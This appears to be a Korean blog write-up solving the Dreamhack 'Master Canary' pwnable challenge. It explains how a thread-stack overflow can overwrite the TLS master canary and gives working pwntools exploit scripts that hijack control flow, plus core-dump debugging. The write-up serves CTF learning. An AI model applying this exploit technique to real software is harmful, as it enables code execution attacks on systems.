security/포너블 - dreamhack

[Dreamhack Wargame] Master Canary

민사민서 2023. 6. 14. 02:52

Master Canary라는 개념을 새로 알게 되기도 했고

Core Dump file을 이용한 분석 방법도 새로 알게 되어 메모 겸 자세히 남긴다

 

Master Canary

TLS (Thread Local Storage) 영역은 스레드의 전역변수를 저장하기 위한 공간으로 Loader에 의해 할당된다
FS 세그먼트 레지스터는 TLS 영역을 가리킨다
스택 버퍼를 사용하는 모든 함수에서는 같은 카나리 값(fs:0x28에 위치한 값)을 사용한다. 다른 쓰레드도 마찬가지

임의 함수에서 stack canary를 leak할 경우 다른 함수에 응용 가능
TLS 주소(FS 세그먼트 레지스터 주소)에서 0x28 바이트만큼 떨어진 주소에 위치한 랜덤 값을 우리는 Master Canary라고 부른다

디버거에서는 $fs_base 를 통해 FS 세그먼트 레지스터 주소를 확인 가능하다

p/x $fs_base + 0x28

일반적인 경우 스택은 TLS보다 더 높은 주소에 위치하므로 BOF를 통한 Master Canary overwrite 불가능하다

하지만 쓰레드 스택에서는 BOF로 TLS에 위치하는 Master Canary를 덮어쓸 수 있다!

 

thread_routine의 지역변수인 buf[0x100]은 rsp+0x10 = rbp-0x110에 위치한다

Master Canary는 fs:0x28 위치에 담겨져있다

offset은 아래와 같이 구할 수 있다

pwndbg> p/x $rsp+0x10
$2 = 0x7ffff7d7ed40
pwndbg> p/x $fs_base+0x28
$3 = 0x7ffff7d7f668
pwndbg> p/x 0x7ffff7d7f668-0x7ffff7d7ed40
$4 = 0x928

그렇다면, payload를 이렇게 짜면 되지 않을까?

payload = b'A'*0x118 # buf + DUMMY + SFP
payload += p64(giveshell) # RET
payload += b'A'*(0x928-len(payload)) # DUMMY
payload += p64(0x4141414141414141) # Master Canary

우분투 18.04 이하에서는 잘 동작한다. 하지만 내 환경(우분투 22.04)에서는 SIGSEGV가 떴다

$ 
[*] Process './mc_thread' stopped with exit code -11 (SIGSEGV) (pid 13376)
[*] Got EOF while sending in interactive

 

SIGSEGV 원인 분석 using pwndbg

$ ulimit -c unlimited

ulimit -c 옵션을 이용해 최대 코어 파일 사이즈를 키운 후, 'python solve.py'를 실행하여 온전한 core dump file 분석해보자

$ ls -l /var/lib/apport/coredump/

우분투 22.04에서는 해당 디렉터리에 core dump file 저장된다

$ gdb mc_thread -c /var/lib/apport/coredump/core._home_minseo_Desktop_Dreamhack_pwn_wargames_master_canary_mc_thread.1000.4734bfb6-c32e-4730-b567-602d66f6c27d.13376.3458851

-c 옵션을 주어 gdb로 하여금 특정 경로의 core dump file을 분석하도록 한다

실행해보면 __pthread_disable_asynccancel에서 문제가 발생했음을 알 수 있다

해당 함수를 디스어셈블해보면

rax에 fs:0x10의 값을 담아서 [rax+0x972] 주소에 값을 쓰려했는데, 유효하지 않은 메모리 주소로 인해 SIGSEGV 발생 

rax에는 0x4141414141414141이 담겨있었다


cf) 아래 명령어를 통해 현재 rip가 가리키는 코드의 디컴파일 결과(소스파일) 확인 가능

pwndbg> dir ~/glibc-2.35
Source directories searched: /home/dreamhack/glibc-2.35:$cdir:$cwd
pwndbg> tui enable

정의에 따르면 THREAD_SELF는 struct pthread 구조체에서 header.self를 의미한다고 함 (fs:0x10)

pwndbg> p ((struct pthread *)$fs_base)->header.self 
$1 = (void *) 0x4141414141414141

 fs:0x10 위치의 8바이트에 유효한 주솟값을 넣어주어야겠지

확인해보니 DATA 영역 끝부분 사용하면 되겠다

 

from pwn import *

p = process("./mc_thread")
# p = remote("host3.dreamhack.games", 22776)

giveshell = 0x401256

payload = b'A'*0x118 # buf + DUMMY + SFP
payload += p64(giveshell) # RET
payload += b'A'*(0x910-len(payload))
payload += p64(0x404f80-0x972) # valid address for fs:0x10 + 0x972
payload += b'B'*0x10 # DUMMY
payload += b'A'*8 # Master Canary

bufsize = len(payload) // 8

p.sendlineafter("Size: ", str(bufsize))
p.sendafter("Data: ", payload)

p.interactive()

근데 원격에서는 동작 안함

 

로컬 말고 원격에서도 동작하는 코드를 짜보자!

(23.06.21 추가)

 

로컬에서 buf=[rbp-0x110] 과 fs:0x28과의 거리는 0x928로 나타나는데, 원격에서는 exploit 실패한다

So.... docker container에 서버 환경 구축해놓고 해봤다. offset 로컬이랑 똑같이 0x928 나오네

무슨 이윤지는 모르겠지만 서버에서 다르게 돌아가고 있다는 거잖아

 

- main 이 호출되기 전까지의 스택은 충분히 달라질 수 있는데 (환경변수, 실행파일경로)
- 그 이후부터는 바이너리가 같은 이상 절대 달라질 수가 없는 구조.

- 즉 도커로 서버환경 구성해서 바이너리를 분석할 때 buf = [rbp-0x110] / canary = [rbp-0x8] 이면 무조건! 실제 서버에서도 동일한 offset 가진다

 

valid_addr 로 payload를 구성해보면 i=329에서 성공한다

from pwn import *

giveshell = 0x401256
valid_addr = 0x404f80-0x972 # valid address for fs:0x10 + 0x972

for i in range(200,500):
    with remote("host3.dreamhack.games", 10181) as p:
        try:
            payload = b'A'*0x108 + p64(valid_addr) # buf + DUMMY 8B + Canary
            payload += b'B'*0x8 + p64(giveshell) # SFP + RET
            payload += p64(valid_addr) * i # fs:0x28 까지 덮는다
            bufsize = len(payload)//8

            p.sendlineafter("Size: ", str(bufsize))
            p.sendafter("Data: ", payload)
            
            p.sendline("ls")
            if b'stack smashing' not in p.recvline():
                print(str(i)+" success!")
                p.interactive()
                break
            else:
                raise EOFError
        except EOFError:
            print(str(i) + " failed...")
            continue

 

+ 드림핵 문의해봤다...

- buf - fs:0x28 간 offset은 0x928 로 로컬과 동일한데, 임의의 이유로 payload 뒷부분에 Dummy bytes가 필요하다

- 직접 해보니 0x238 - 0x2E0 범위의 DUMMY bytes를 붙여주어야 exploit 성공하더라

- 아마 payload의 뒤 몇바이트가 잘려서 가는게 아닐까...

from pwn import *

giveshell = 0x401256
valid_addr = 0x404f80-0x972 # valid address for fs:0x10 + 0x972

p = remote("host3.dreamhack.games", 24496)

payload = b'A'*0x108 + b'CANARY!!' # buf + DUMMY 8B + Canary
payload += b'B'*0x8 + p64(giveshell) 
payload += p64(valid_addr) * 257
payload += b'CANARY!!'
payload += b'AAAAAAAA' * 75 # 71-92 에서 exploit 됨
bufsize = len(payload)//8

p.sendlineafter("Size: ", str(bufsize))
p.sendafter("Data: ", payload)
p.interactive()

 

 

'security > 포너블 - dreamhack' 카테고리의 다른 글

[Dreamhack Wargame] Cat-Jump  (0) 2023.06.15
[Dreamhack Wargame] STB-lsExecutor  (0) 2023.06.15
[Dreamhack Wargame] awesome_basic  (0) 2023.06.15
[Dreamhack Wargame] Stupid GCC  (0) 2023.06.14
[Dreamhack Wargame] FSB_Overwrite  (0) 2023.06.14